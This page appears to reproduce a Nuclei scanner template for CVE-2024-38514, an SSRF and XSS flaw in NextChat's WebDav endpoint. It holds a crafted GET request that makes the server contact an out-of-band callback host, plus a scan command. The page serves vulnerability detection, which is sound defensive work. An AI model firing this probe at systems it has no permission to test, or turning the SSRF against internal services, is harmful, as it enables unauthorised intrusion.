NextChat - Server-Side Request Forgery

ID: CVE-2024-38514

Severity: high

Author: DhiyaneshDk

Tags: cve,cve2024,ssrf,xss,chatgpt,nextchat

Description

NextChat v2.12.3 suffers from a Server-Side Request Forgery (SSRF) and Cross-Site Scripting vulnerability due to a lack of validation of the GET parameter on the WebDav API endpoint.

YAML Source

id: CVE-2024-38514

info:
  name: NextChat - Server-Side Request Forgery
  author: DhiyaneshDk
  severity: high
  description: |
    NextChat v2.12.3 suffers from a Server-Side Request Forgery (SSRF) and Cross-Site Scripting vulnerability due to a lack of validation of the GET parameter on the WebDav API endpoint.
  reference:
    - https://www.tenable.com/security/research/tra-2024-23
    - https://github.com/ChatGPTNextWeb/ChatGPT-Next-Web/commit/dad122199a85c2f12277593973e1784b212adf5e
    - https://github.com/ChatGPTNextWeb/ChatGPT-Next-Web/security/advisories/GHSA-gph5-rx77-3pjg
    - https://nvd.nist.gov/vuln/detail/CVE-2024-38514
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 7.4
    cve-id: CVE-2024-38514
    cwe-id: CWE-918
    epss-score: 0.00043
    epss-percentile: 0.09404
  metadata:
    verified: true
    max-request: 1
    shodan-query: "title:NextChat,\"ChatGPT Next Web\""
  tags: cve,cve2024,ssrf,xss,chatgpt,nextchat

http:
  - raw:
      - |
        GET /api/webdav/chatgpt-next-web/backup.json?endpoint=https://webdav.yandex.com.{{interactsh-url}}/ HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body
        words:
          - "__NEXT_DATA__"
# digest: 4b0a00483046022100914fc06e3431fce2e1cc11a26a59c39edd9ca1984e01d5786b497b2df379d77c022100b845bc137e7f2828452df1e7b5f04cdaf2edf8d97705b9fdd57c5e3cda02413b:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-38514.yaml"

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